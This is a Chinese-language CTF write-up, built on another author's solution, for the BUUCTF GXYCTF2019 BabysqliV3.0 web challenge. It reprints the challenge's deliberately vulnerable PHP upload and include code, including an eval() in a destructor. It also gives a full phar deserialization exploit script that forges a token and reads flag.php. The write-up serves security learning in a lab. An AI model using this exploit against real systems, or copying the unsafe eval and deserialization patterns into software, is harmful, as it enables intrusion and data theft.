79,【3】BUUCTF WEB [GXYCTF2019]BabysqliV3.0
进入靶场
现在做多了其他类型,老喜欢这个页面了,老朋友admin password
老规矩,桌面有啥就传啥
第一次点击上传什么都不显示
点了两次就有下面开头的那段话了
他在最后还偷偷骂了一句
确实连不上
再回顾一下题目
buuctf打不开了
只能看别人的wp了
以此wp为参考
[GXYCTF2019]BabysqliV3.0-CSDN博客
home.php
<?php
// 开启 session,用于存储和管理用户会话相关数据
session_start();
// 设置页面的 meta 信息,指定内容类型为 HTML 且字符编码为 utf - 8,同时设置页面标题为 Home
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
// 关闭错误报告,避免在页面上显示 PHP 错误信息
error_reporting(0);
// 检查用户是否已经通过 session 登录
if (isset($_SESSION['user'])) {
// 检查是否通过 GET 方式传递了 file 参数
if (isset($_GET['file'])) {
// 使用正则表达式进行匹配,不区分大小写检查 file 参数中是否包含 "flag" 相关字符序列,若包含则认为是恶意请求
if (preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])) {
die("hacker!");
} else {
// 检查 file 参数值是否以 "home" 或 "upload" 结尾(不区分大小写)
if (preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])) {
// 如果以 "home" 或 "upload" 结尾,则在参数值后自动添加 ".php" 后缀
$file = $_GET['file'].".php";
} else {
// 否则在参数值后添加 ".fxxkyou!" 后缀
$file = $_GET['file'].".fxxkyou!";
}
echo "当前引用的是 ". $file;
// 引入处理后的文件,可能存在文件包含漏洞风险
require $file;
}
} else {
die("no permission!");
}
}
?>
upload.php
<?php
// 关闭所有 PHP 错误报告,防止错误信息泄露
error_reporting(0);
// 定义 Uploader 类,用于处理文件上传相关操作
class Uploader{
// 定义公共属性,用于存储文件名
public $Filename;
// 定义公共属性,用于存储要执行的命令
public $cmd;
// 定义公共属性,用于存储用户令牌
public $token;
// 构造函数,当类的对象被创建时自动调用
function __construct(){
// 获取当前工作目录,并拼接上传目录和用户的 MD5 哈希值,作为沙盒目录
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
// 定义文件扩展名
$ext = ".txt";
// 尝试创建沙盒目录,权限设置为 0777,允许递归创建
@mkdir($sandbox, 0777, true);
// 检查是否通过 GET 方式传递了 name 参数,并且该参数不包含特定的危险字符串(如 data://、filter:// 等)
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
// 如果满足条件,将传递的 name 参数赋值给 Filename 属性
$this->Filename = $_GET['name'];
} else {
// 否则,使用沙盒目录、用户信息和扩展名组合成默认文件名
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
// 初始化要执行的命令,输出提示信息
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
// 将用户令牌赋值给 token 属性
$this->token = $_SESSION['user'];
}
// 上传文件的方法,接收一个文件信息数组作为参数
function upload($file){
// 声明全局变量,获取沙盒目录和文件扩展名
global $sandbox;
global $ext;
// 检查文件名是否包含除字母和数字之外的字符
if(preg_match("[^a-z0-9]", $this->Filename)){
// 如果包含,将执行的命令设置为输出非法文件名错误信息并终止脚本
$this->cmd = "die('illegal filename!');";
} else {
// 检查上传文件的大小是否超过 1024 字节
if($file['size'] > 1024){
// 如果超过,将执行的命令设置为输出文件过大错误信息并终止脚本
$this->cmd = "die('you are too big (′▽`〃)');";
} else {
// 如果文件大小符合要求,将执行的命令设置为将临时文件移动到指定的文件名位置
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
// 当对象被当作字符串使用时,自动调用该方法
function __toString(){
// 声明全局变量,获取沙盒目录和文件扩展名
global $sandbox;
global $ext;
// 返回文件名
return $this->Filename;
}
// 析构函数,当对象被销毁时自动调用
function __destruct(){
// 检查令牌是否和当前会话中的用户令牌一致
if($this->token != $_SESSION['user']){
// 如果不一致,将执行的命令设置为输出令牌检查失败错误信息并终止脚本
$this->cmd = "die('check token falied!');";
}
// 执行存储在 cmd 属性中的命令
eval($this->cmd);
}
}
// 检查是否通过 POST 方式上传了文件
if(isset($_FILES['file'])) {
// 创建 Uploader 类的对象
$uploader = new Uploader();
// 调用 upload 方法处理上传的文件
$uploader->upload($_FILES["file"]);
// 尝试读取上传文件的内容
if(@file_get_contents($uploader)){
// 如果读取成功,输出提示信息和文件名
echo "下面是你上传的文件:<br>".$uploader."<br>";
// 输出上传文件的内容
echo file_get_contents($uploader);
}
}
?>
看完源代码,豁然开朗,(好歹知道了为啥出现f..k you了)
博主利用了这个eval方法
eval() 函数在 PHP(以及其他一些编程语言,如 JavaScript 等也有类似功能的函数)中被认为是一个危险的方法
再解释一下phar
- Phar 简介:Phar(PHP Archive)是 PHP 提供的一种将多个 PHP 文件打包成一个文件的机制,类似于 Java 的 JAR 文件或者 Python 的 Egg 文件。它允许开发者将整个应用程序或者库打包成一个单一的文件,方便分发和部署。
- Phar 序列化:在某些情况下,Phar 文件可能会涉及到序列化和反序列化操作。序列化是将对象的状态转换为可以存储或传输的格式(通常是字符串),而反序列化则是将这个格式还原为对象。在 PHP 中,当处理 Phar 文件时,如果其中包含对象,并且在代码中进行对象的序列化和反序列化操作,就会涉及到 Phar 序列化相关的问题。
刚才那个图片中有个if语句,需要满足
txt前面的是token认证
博主看见了/var/www/html就猜测flag.php在这个目录的下面
很敏感,确实应该想到,不过其实我没想到
<?php
// 定义一个名为 Uploader 的类,用于表示文件上传相关的操作或信息
class Uploader{
// 定义公共属性 Filename,用于存储文件名,这里初始化为 'test'
public $Filename='test';
// 定义公共属性 cmd,用于存储要执行的命令,这里是高亮显示 /var/www/html/flag.php 文件的内容
public $cmd='highlight_file("/var/www/html/flag.php");';
// 定义公共属性 token,用于存储一个令牌,可能用于身份验证或其他安全机制
public $token='GXYe3f43ab2c8516edac699d4649327bb1f';
}
// 创建 Uploader 类的一个实例 $a
$a = new Uploader();
// 创建一个新的 Phar 对象,指定 Phar 文件的名称为 'abbbbb.phar'
$phar = new Phar('abbbbb.phar');
// 开始对 Phar 文件的操作进行缓冲,避免在操作过程中频繁写入文件,提高性能
$phar->startBuffering();
// 设置 Phar 文件的存根(stub),存根是 Phar 文件开始执行时首先运行的代码。
// 这里将存根设置为 'GIF89a'(GIF 图片文件头)和 '<?php __HALT_COMPILER();? >',
// 这样做的目的可能是为了让 Phar 文件伪装成 GIF 图片文件,同时利用 __HALT_COMPILER() 函数来结束 PHP 代码的执行,直到文件末尾
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();? >');
// 将之前创建的 Uploader 类实例 $a 作为元数据添加到 Phar 文件中
// 元数据可以用来存储与 Phar 文件相关的额外信息,在后续操作中可以通过相应的方法获取
$phar->setMetadata($a);
// 向 Phar 文件中添加一个名为 'test.txt' 的文件,文件内容为 'test'
$phar->addFromString('test.txt', 'test');
// 停止缓冲,并将之前的操作结果写入到 'abbbbb.phar' 文件中
$phar->stopBuffering();
?>
博主说test是为了绕过if(preg_match("[^a-z0-9]", $this->Filename)),只能是纯字母或者纯数字
所以可以凭借喜欢随意更改
最后博主得到phar的路径,进行name=phar://路径就成功得到了flag
笔记
1,看见了/var/www/html要能猜测到flag.php在这个目录的下面
2,学会phar
3,伪协议